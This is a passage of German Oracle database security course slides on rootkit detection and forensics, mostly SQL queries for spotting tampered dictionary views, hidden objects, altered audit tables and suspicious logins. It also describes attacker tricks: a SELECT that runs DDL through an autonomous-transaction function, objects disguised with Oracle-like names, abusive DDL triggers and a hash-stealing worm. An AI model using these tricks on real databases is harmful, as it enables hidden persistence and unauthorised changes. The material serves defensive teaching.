Abweichungen bei Benutzertabellen

Vergleichen Sie Original-Tabelle mit der DBA View:

SELECT name FROM sys.user$minusSELECT username FROM dba_usersminusSELECT role FROM dba_roles;

Ergebnismenge sollte nur die folgenden Benutzer ergeben:

PUBLIC

_NEXT_USER

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 18

Abweichungen bei Triggern:SELECT u.name,o.name

FROM sys.trigger$ t, sys.user$ u, sys.obj$ oWHERE t.obj#=o.obj# and o.owner#=u.user#MINUS

SELECT owner,trigger_name FROM dba_triggers;Die Liste sollte leer sein.

Abweichungen bei JobsSELECT job,lowner,powner,what

FROM sys.job$MINUS

SELECT job,log_user,priv_user,what FROM dba_jobs;Die Liste sollte leer sein.

Abweichungen bei ObjektenSELECT u.name,o.name

FROM sys.obj$ o, sys.user$ u WHERE u.user#=o.owner#

AND o.type# IN (7,8,9,11)MINUS

SELECT owner,object_name FROM dba_objects

WHERE object_type IN ('PROCEDURE', 'PACKAGE', 'PACKAGE BODY', 'FUNCTION');

Die Liste sollte leer sein.

Security II 6 - 18

Page 178: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Abweichung von Public Synonymen

SELECT u.name "Syn.-Owner", o.name as "Syn.-Name", s.owner, s.name as "ORIG.-NAME" FROM sys.syn$ s, sys.obj$ o, sys.user$ u WHERE o.owner#=u.user# AND s.obj#=o.obj# AND o.name in ('V$SESSION','V$DATABASE','V$INSTANCE');

Beispiel Ergebnismenge:

PUBLIC V$INSTANCE SYS V_$INSTANCE

PUBLIC V$DATABASE SYS V_$DATABASE

PUBLIC V$SESSION SYS V$$SESSION

SYSTEM V$DATABASE SYSTEM V$LOGFILE

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 19

SELECT o.name, s.owner, s.name, s.nodeFROM sys.syn$ s, sys.obj$ o

WHERE o.obj# = s.obj#AND o.type# = 5AND o.owner# = userenv('SCHEMAID')AND (o.name LIKE 'V$%'

OR o.name LIKE 'USER_%' OR o.name LIKE 'ALL_%' OR o.name LIKE 'DBA_%'OR o.name LIKE 'DBMS_%' OR o.name LIKE 'UTL_%');

Als Benutzer SYSTEM (nicht SYS) oder beliebig anderer Benutzer, sollte diese Liste leer sein.

Security II 6 - 19

Page 179: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Abweichung bei Privilegien

Leider ist eine Überwachung/Überprüfung hier sehr schwierig, denn System- oder Objektrechte können entweder

Direkt

Über eine Rolle

Über eine Rolle die in einer Rolle liegt

Über eine Rolle die in einer Rolle die einer Rolle liegt

{Über ein Rolle} 255

zugewiesen werden

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 20

Hinweis:

Die Original-Views bestehen aus folgenden Selects:

DBA_TAB_PRIVS:select ue.name, u.name, o.name, ur.name, tpm.name,

decode(mod(oa.option$,2), 1, 'YES', 'NO'),decode(bitand(oa.option$,2), 2, 'YES', 'NO')

from sys.objauth$ oa, sys.obj$ o, sys.user$ u, sys.user$ ur, sys.user$ ue,table_privilege_map tpmwhere oa.obj# = o.obj#and oa.grantor# = ur.user# and oa.grantee# = ue.user#and oa.col# is null and oa.privilege# = tpm.privilegeand u.user# = o.owner#;

DBA_SYS_PRIVS:select u.name,spm.name,decode(min(option$),1,'YES','NO')from sys.system_privilege_map spm, sys.sysauth$ sa, user$ uwhere sa.grantee#=u.user# and sa.privilege#=spm.privilegegroup by u.name,spm.name

Security II 6 - 20

Page 180: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

SELECT führt DDL aus

Sie waren bisher der Meinung, ein SELECT liest imme r nur und verändert nichts??

CREATE OR REPLACE FUNCTION ftest RETURN NUMBER ISPRAGMA AUTONOMOUS_TRANSACTION;BEGINEXECUTE IMMEDIATE 'create table t ( d date)';RETURN 1;END;

CREATE OR REPLACE VIEW emp_view ASSELECT * FROM scott.empWHERE 1=ftest;

SELECT * FROM emp_view; /*Legt Tabelle t an*/

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 21

Hinweis:

Die moderne Variante ab 12c kommt auch ohne CREATE PROCEDURE Recht aus:WITH FUNCTION f(id IN NUMBER) RETURN NUMBERIS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 'create table t ( d date)';RETURN 1;END;SELECT f(object_id) FROM all_objectsWHERE rownum <2select * from t;

Security II 6 - 21

Page 181: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Objekte als Oracle eigene ausgeben

Welche der folgenden Objekte sind nicht von Oracle?

sys.dbms_backup_restore

sys.plitblm

sys.dbms_pickler

sys.dbms_utl

sys.sys_stub_for_purity_analysis

sys.utl_ldap

ctxsys.drue

ctxsys.drixml

sys.dbms_schema_name_export

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 22

Hinweis:Die Idee zu diesem Trick kam mir beim Thema Steganographie. Da wird eine Nachricht z.B. dadurch verschlüsselt, dass sie in einem Bild versteckt wird. Die ideale Verschlüsselung ist die, wo man nicht erkennt das geheime Informationen vorhanden sind.

Was wäre also besser für einem Baum, als sich in einem Wald zu verstecken, oder auf Oracle übertragen:

Wie könnte man Daten einer Hacker-Tabelle, oder Funktionen/Proceduren/Packages eines bösen Buben besser verstecken als zwischen den bereits 50.000 installierten Oracle Objekten? (wer SAP hat, kann das nochmals potenzieren ☺ )

Security II 6 - 22

Page 182: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Lösung

Welche der folgenden Objekte sind nicht von Oracle?

sys.dbms_backup_restore (OK)

sys.plitblm (OK)

sys.dbms_pickler (OK)

sys.dbms_utl (Falsch)

sys.sys_stub_for_purity_analysis (OK)

sys.utl_ldap (Falsch)

ctxsys.drue (OK)

ctxsys.drixml (Falsch)

sys.dbms_schema_name_export (Falsch)

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 23

Security II 6 - 23

Page 183: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

DDL Trigger

Merken Sie sich die Liste der derzeit verwendeten D DL-Trigger.

SELECT u.name,t.obj#,t.definition,t.whenclause, t.action#

FROM sys.trigger$ t, sys.user$ u, sys.obj$ o

WHERE t.obj#=o.obj# AND o.owner#=u.user#AND update$=0 AND insert$=0 AND delete$=0

ORDER BY name;

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 24

Hinweis:Das Problem von DDL Triggern ist, dass sie bei richtiger Anwendung eine Menge Unsinn anrichten können.

Kleine Beispiele gefällig?, OK

•Der DROP auf einen USER/TABLESPACE oder ein Objekt wird verhindert. In unserem Security Kurs zeige ich Objekte, die mit normalen Mitteln nicht mehr gelöscht werden können.•Nach dem Start der Datenbank wird immer eine Procedure ausgeführt (z.B. email an den Hacker)•Nach dem Anmelden eines Benutzer wird immer eine Funktion gestartet•Oracle empfiehlt (wohl wegen der unüberschaubaren Risiken) deshalb bei einer Migration alle DDL auszuschalten•Dazu muss die DB gestoppt werden, der Parameter "_system_trig_enabled" auf False gesetzt und die DB erneut gestartet werden.

Security II 6 - 24

Page 184: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Wie kann man sich schützen?

Gehen Sie bei Verdacht auf die Originaltabellen:

dba_users ���� sys.user$

dba_tables ���� sys.tab$

dba_objects ���� sys.obj$

v$session ���� sys.v_$session

v$process ���� sys.v_$process

Bei Packages, den Eigentümer voranstellen:

utl_file ���� sys.utl_file

dbms_crypto ���� sys.dbms_crypto

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 25

Security II 6 - 25

Page 185: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

View Definitionen mit Hash-Wert speichern

Speichern Sie für alle Views die Länge des View-Tex tes und einen Hash-Wert, drucken Sie die Liste aus und legen Sie diese in einen Tresor

SET SERVEROUTPUT ON SIZE UNLIMITED

DECLARE /* als SYS starten */v_len NUMBER;

BEGIN

FOR c IN (SELECT owner,view_name,text FROM dba_view s WHERE owner='SYS' ORDER BY 2) LOOP

v_len:=length(c.text);dbms_output.put_line(c.owner||'.'||rpad(c.view_name ,30,' ')||'('||lpad(v_len,4,' ')||') '||dbms_crypto.Hash(utl_raw.cast_to_raw(c.text),dbms_crypto.hash_md5));END LOOP;END;

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 26

Beispielausgabe:SYS.ALL_TAB_COLS (6684) 69D3E30BA5A648E5374B9EB86DDEF30DSYS.ALL_TAB_COL_STATISTICS (1985) 0B63DA6F08276D35366BEAEA7D6A7EC8SYS.ALL_TAB_COLUMNS ( 525) 2D8F088AB0FDAEBE59486EF7A838616ESYS.ALL_TAB_COMMENTS (1605) 7FDE414934207C71ECDD4416D9080D09SYS.ALL_TAB_HISTOGRAMS (5491) B0D4684558499CE808BCFFCDFE9CC607SYS.ALL_TABLES (4691) F43B61AB060F5E27F0EA9E2E8F1FA689SYS.ALL_TAB_MODIFICATIONS (3137) 8CC0542B039FA72449ECF6C36807B71ASYS.ALL_TAB_PARTITIONS (5804) 7EA4FAE6208376DE8E04B1199CD0F58FSYS.ALL_TAB_PRIVS ( 559) B94BB84E15C1E5829EC29856E73DA126…Bei Verdacht auf einen Angriff, lassen Sie die Routine erneut laufen und vergleichen Sie die Ausgabe.

Security II 6 - 26

Page 186: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Rootkit Version 2

Vorgestellt von Alexander Kornbrust auf der Blackha t Konferenz 2006

Er ersetzt in den Oracle Binaries alle Vorkommen de r DD Tabelle user$ durch einen anderen Namen z.B. us ar$

Danach wird eine Kopie mit Namen user$ erzeugt.

Security-Scanner, die jetzt dba_users mit user$ vergleichen, finden nun keine Differenz, aber auch keinen Hacker☺☺☺☺

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 27

Security II 6 - 27

Page 187: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Rootkit Version 2 aufspüren

Wir suchen eine Tabelle, die die gleichen Spalten h at wie user$

Wir vergleichen hier nur die Spalte Default Tablesp ace (DATATS#), die kommt an 5ter Stelle nur in user$ vo r

SELECT owner#,name,ctime from obj$ WHERE obj# in (select c1.obj# from col$ c1, col$ c2where (c1.name=c2.name and c1.col#=c2.col# and c1.name='DATATS#' )and c1.obj#<>c2.obj#);

owner# name ctime---- ------- ---------0 USER$ 29.06.140 USOR$ 18.10.14

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 28

Security II 6 - 28

Page 188: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Honeypot

Strategie um Hacker anzulocken.

Es wird eine Datenbank oder ein Account absichtlich unzureichend geschützt um Hacker aufzuspüren.

Beispiel:

SYSTEM/MANAGER Account wird die DBA Rolle entzogen

Audit für Create Session auf SYSTEM wird eingeschal tet

oder Logon Trigger verschickt eine Email an den DBA

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 29

Security II 6 - 29

Page 189: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Oracle W ürmer

Es existieren bereits Designer-Studien zu Oracle Würmern.

Diese verschicken die gehashten Oracle-Passwörter a n [email protected].

Dieser Wurm ist noch relativ harmlos, aber was brin gt die Zukunft?

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 30

Security II 6 - 30

Page 190: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Vorsichtsmaßnahmen

Alle Accounts prüfen und entweder gute/lange Passwö rter definieren oder Account locken/Passwort zerstören.

Listener mit Passwort schützen, Parameter ADMIN_RESTRICTIONS_{listener_name}=ON in listener. ora setzen

CREATE DATABASE LINK Recht aus der Connect Rolle entfernen (ab 10.2 bereits durch Oracle erledigt).

EXECUTE Recht auf utl_tcp, utl_file und utl_inaddr von Public entfernen.

GLOGIN.SQL Datei schützen, denn diese wird bei jede m Start von SQL*Plus ausgeführt (ab 10g bei jedem Neuconnec t).

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 31

Security II 6 - 31

Page 191: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 1

Kapitel 7Forensik

Page 192: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 2

Was ist Forensik?

Forensik in der Datenverarbeitung beschreibt die Dokumentation von Einbrüchen oder verdächtigen Vorgängen in Systemen

Hier werden Beweismittel gesammelt und gesichert, d ie für eine Verfolgung oder Bestrafung von Straftaten notwendig sind

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 2

Stichwörter: Security; Allgemeines

Page 193: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 3

Tools für die Forensik

Logminer (ab 8.1 bei Oracle kostenloses Tool zur Analysierung von Redolog-Inhalten)

Data Unloader (z.B. DUL von Oracle)

Oracle Block Dump

Hexeditor für Tablespacedateien / Oracle Blöcke

Flashback Funktionen (Flashback Query, Mülleimer)

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 3

Page 194: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 4

Interessante Trace Files

Listener.log ($ORACLE_HOME\log\diag\tnslsnr\<rechner>\listener\trace)

listener.trc (s.o.)

Oracle Incident Dateien (ab 11.x)

Alert.log Datei

SYSDBA Audit Log (Windows: Eventlog)

Redologs/Archivelog

Im Betriebssystem: Win: Eventlog, Unix: /var/log/messages

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 4

Page 195: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 5

Trace Views/Tables

V$... (GV$ bei RAC), CDB_... in Plug DB (ab 12c)

WRH$... (Temporäre Dateien)

Audit Views

SYS.USER$

SYS.MON_MODS_ALL$ (Inserts/Updates/Deletes auf Tabellen)

SYS.COL_USAGE$ (verwendete Spalten)

RECYCLEBIN (Wenn aktiviert, liegt hier der Mülleime r)

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 5

Page 196: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 6

Vorgehensweise

Dateien / Traces / Ausgaben sammeln und auf einen sichern PC übertragen

Alternativ Daten ausdrucken oder auf DVD brennen

SPOOL forensik.txt

SELECT …..

SPOOL OFF

Wichtig:

Ihre Spurensuche kann andere Spuren verwischen, deshalb:

DB in READ Only Modus öffnen

oder Backup erstellen und mit diesem arbeiten

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 6

Page 197: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 7

Befehle zur Überwachung

Letzte abgesetzte Befehle:

SELECT LAST_ACTIVE_TIME, PARSING_USER_ID, SQL_TEXT FROM V$SQLORDER BY LAST_ACTIVE_TIME ASC;

Audit-Informationen (Bis 11.2.0.4)

SELECT * FROM sys.aud$;

Audit-Informationen (Ab 12.1.0.1)

SELECT * FROM unified_audit_trail;

Session Informationen

SELECT SID, USER#, USERNAME, TERMINAL, OSUSER, PROGRAM, LOGON_TIME FROM V$SESSION;

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 7

Page 198: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 8

Befehle zur Überwachung

Benutzer Account Status:

SELECT USER#, NAME, ASTATUS, PASSWORD, CTIME, PTIME, LTIME[,spare4 /* ab 12.1.0.1*/]FROM SYS.USER$ WHERE TYPE#=1;

CTIME= Erstellungsdatum des Accounts

PTIME = Datum der letzten Passwortänderung

SPARE4 = Letzte erfolgreiche Anmeldezeit

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 8

Page 199: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 9

SYS.USER$

Interessante Spalten

LCOUNT

Anzahl der ungültigen Anmeldeversuche

Wird zurückgesetzt nach erfolgreicher Anmeldung

Maximale Anzahl durch Profile begrenzt

LTIME Sperrzeitpunkt des Benutzers

SELECT name,lcount,ltime FROM sys.user$WHERE lcount>0;

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 9

Was kann passieren:

LCOUNT nimmt große Werte an z.B.: >10.000. Brutforce Attacke oder Client verwendet falsches Passwort (z.B. Nagios Benutzer)

LCOUNT von verschiedenen Benutzern ist >0: Jemand versucht bis zu maximalen Anzahl von Fehlversuchen Acounts auszuspähen

Bei gleicher/ähnlicher LTIME: Jemand hat über verschiedene Accounts versucht, sich Zutritt zur DB zu verschaffen

Page 200: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 10

Alte Passwörter

Wenn eine Passwort-History eingeschalten wurde (in den Profilen Password Reuse Max), können Sie dort die a lten Passwörter des Benutzers nachlesen:

SELECT * FROM sys.user_history$;

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 10

Page 201: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 11

SYS.WRH$_ACTIVE_SESSION_HISTORY

Wichtige Spalten

SAMPLE_TIME (Aufzeichnungszeit)

PROGRAM (Welches Program wurde eingesetzt)

Machine (ab 11.2)(Von welcher Maschine kam der Benutzer)

Hinweis: Benötigt kostenpflichtiges Zusatzpaket (Tu ning & Diagnostic Pack)

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 11

Page 202: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 12

Welche Programme haben sich angemeldet?

Hinweis: Die Spalte "Maschine" ist erst ab 11.2 verfügbar

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 12

Hinweis:

Der SELECT dazu:

select program, username, machine,

sum("7-18h") as "7-18h",

sum("18-7h") as "18-7h" FROM (

select program, username, machine,

case when hour between 7 and 18 then cnt end as "7- 18h" ,

case when hour < 7 or hour >18 then cnt end as "18- 7h"

FROM (

select program, username, machine, count(*) as cnt, to_char(trunc(sample_time,'HH'),'HH24') hour

from sys.wrh$_active_session_history w, dba_users d

where w.user_id=d.user_id (+)

and (lower(program) not like '%oracle%(%)%')

group by program, username, machine, to_char(trunc(sample_time,'HH'),'HH24')))

group by program, username, machine

Page 203: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 13

Änderungen an wichtigen Tabellen

BEGINdbms_stats.flush_database_monitoring_info;END;

SELECT o.name,m.inserts, m.updates,m.deletes,m.timestampFROM SYS.mon_mods_all$ m, sys.obj$ oWHERE o.obj#=m.obj#AND o.owner#=0 and o.name IN ('USER$','AUD$','FGA_LOG$')

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 13

Hinweis:

Der Flush aktualisiert die Werte in der Tabelle.

Es erscheinen nur Zeilen, die geändert wurden (deswegen fehlt fga_log$)

Bei den Tabellen aud$ und fga_log$ sollte es niemals UPDATES und DELETES geben, sonst wurden die Tabellen manipuliert

Updates auf user$ bedeuten, das Passwort wurde geändert, oder der Account gesperrt/entsperrt

Ein Delete auf user$ löscht eine Rolle oder einen Benutzer

Page 204: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 14

Weitere interessante Tabellen

Weitere interessante Tabellen, die überwacht werden könnten:

SYSAUTH$ (DBA_SYS_PRIVS, Inserts/Deletes auf Systemrechte)

OBJAUTH$ (DBA_TAB_PRIVS, Inserts/Deletes auf Objektrechte)

EXTERNAL_TAB$ (DBA_EXTERNAL_TABLES)

JAVA$POLICY$ (DBA_JAVA_POLICY)

LIBRARY$ (DBA_LIBRARIES)

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 14

Page 205: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 15

Listener.log in External Table

CREATE DIRECTORY listener_log_dir as 'D:\oracle\diag\tnslsnr\goofymarco\listener\trace';

CREATE TABLE listener_log(log_date DATE,connect_string VARCHAR2(300),protocol_info VARCHAR2(300),action VARCHAR2(15),service_name VARCHAR2(15),return_code NUMBER(10))ORGANIZATION EXTERNAL …

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 15

Vollständige Syntax:create table listener_log(log_date date,connect_string varchar2(300),protocol_info varchar2(300),action varchar2(15),service_name varchar2(15),return_code number(10))organization external (type oracle_loaderdefault directory LISTENER_LOG_DIRaccess parameters(records delimited by newlinenobadfilenologfilenodiscardfilefields terminated by "*" lrtrimmissing field values are null(log_date char(30) date_formatdate mask "DD-MON-YYYY HH24:MI:SS",connect_string,protocol_info,action,service_name,return_code))location ('listener.log'))reject limit unlimited/

Page 206: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 16

Auswertungen der listener.log

Welche Module haben sich angemeldet ?

SELECT count(*),connect_string FROM listener_logGROUP BY connect_string order by 1 desc;

Fehler im listener.log:

SELECT * FROM listener_logWHERE nvl(return_code,0) >0

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 16

Page 207: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 17

Blöcke auslesen

Oracle löscht bei einem DELETE die Zeile nicht sofo rt im Block

Ein Update lässt (bei genügend Platz im Block) die Zeile stehen und erzeugt eine neue (geänderte Zeile)

Mit dem entsprechendem Hex-Editor kann man die Wert e wieder sichtbar machen

Interessant ist das für unverschlüsselte Passwörter

Mit folgenden Befehlen kann man einen Block dumpen

ALTER SESSION SET TRACEFILE_IDENTIFIER='DUMP';

ALTER SYSTEM DUMP DATAFILE 1 BLOCK MIN 209 BLOCK MAX 209;

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 17

Hinweis:

Mit folgendem Select bekommen Sie Blöcke der Tabelle user$ heraus:

SELECT distinct dbms_rowid.rowid_block_number(rowid )

FROM user$

ORDER BY 1

=>

209

210

211

212

213

Page 208: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 18

Die SCN als Dokumentation des Zeitpunkts

Oracle verwendet bei jeden Befehl, um diesen auch zeitlich einzuordnen eine fortlaufende Nummer: die SCN

SCN steht für System Change Number

5 Tage lang wird die SCN in der Tabelle SMON_SCN_TIME gespeichert, danach werden die ältesten Einträge gelöscht

Jedoch bleiben die SCN´s für die Logswitches in der Tabelle V$ARCHIVED_LOG meist länger stehen (die zeitliche Zuordnung ist aber dafür nicht mehr so ge nau)

Alternativ kann auch Flashback Data Archive eingeri chtet werden, um die SCN ���� Zeitzuordnung länger durchzuführen

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 18

Page 209: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 19

Checkpoint Nummer wandeln

Sie können die SCN Nummer in eine Uhrzeit umwandeln durch:

SELECT scn_to_timestamp(<SCN>) FROM dual;

Ein Uhrzeit kann (auf 3 Sekunden genau) in eine SCN umgewandelt werden mittels:

SELECT timestamp_to_scn('Uhrzeit') FROM dual;

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 19

Page 210: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 20

SCN Nummern in Blöcken

Seit der Version 10.2 kann die jeweilige Block SCN Nummer ausgelesen werden durch:

SELECT ora_rowscn, t.* FROM tab t;

Bei einer Änderung einer Zeile im Block, ändert sic h für alle Zeilen im Block die SCN

Mittels einer Option, kann jedoch die SCN für jede Zeile eigens gespeichert werden.

CREATE TABLE t (id number) ROWDEPENDENCIES;

Leider lässt sich die Option nachträglich nicht meh r ändern

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 20

Page 211: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 21

Interessante Auswertungen bzgl der SCN

Letzte Änderungen in den Blöcken, in denen Benutzerdaten gespeichert werden (dba_users)

SELECT scn_to_timestamp(ora_rowscn) ,u.*FROM sys.user$ u;

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 21

Hinweis:

Wenn die Zeitspanne zu lange zurückliegt, erhält man folgende Fehlermeldung:ORA-08181: Angegebene Zahl ist keine gültige SCN

ORA-06512: in "SYS.SCN_TO_TIMESTAMP", Zeile 1

08181. 00000 - "specified number is not a valid syst em change number"

*Cause: supplied scn was beyond the bounds of a valid scn.

*Action: use a valid scn.

Page 212: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 22

Flashback Row History

Zeigt Änderungen durch Insert/Update/Delete und der en Zeitpunkt an:

SELECT versions_startscn START_SCN,to_char(scn_to_timestamp(versions_startscn),'DD.MM.YYYY Hh24:MI:SS') as start_time,versions_endscn END_SCN,versions_operation OP ,name as username,versions_xid XID FROM sys.user$VERSIONS BETWEEN SCN MINVALUE AND MAXVALUEWHERE versions_operation IS NOT NULL;

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 22

REM Änderungen in der Rechtevergabe:SELECT u.name as username,m.name as priv_name,s.* F ROM (

SELECT versions_startscn START_SCN,

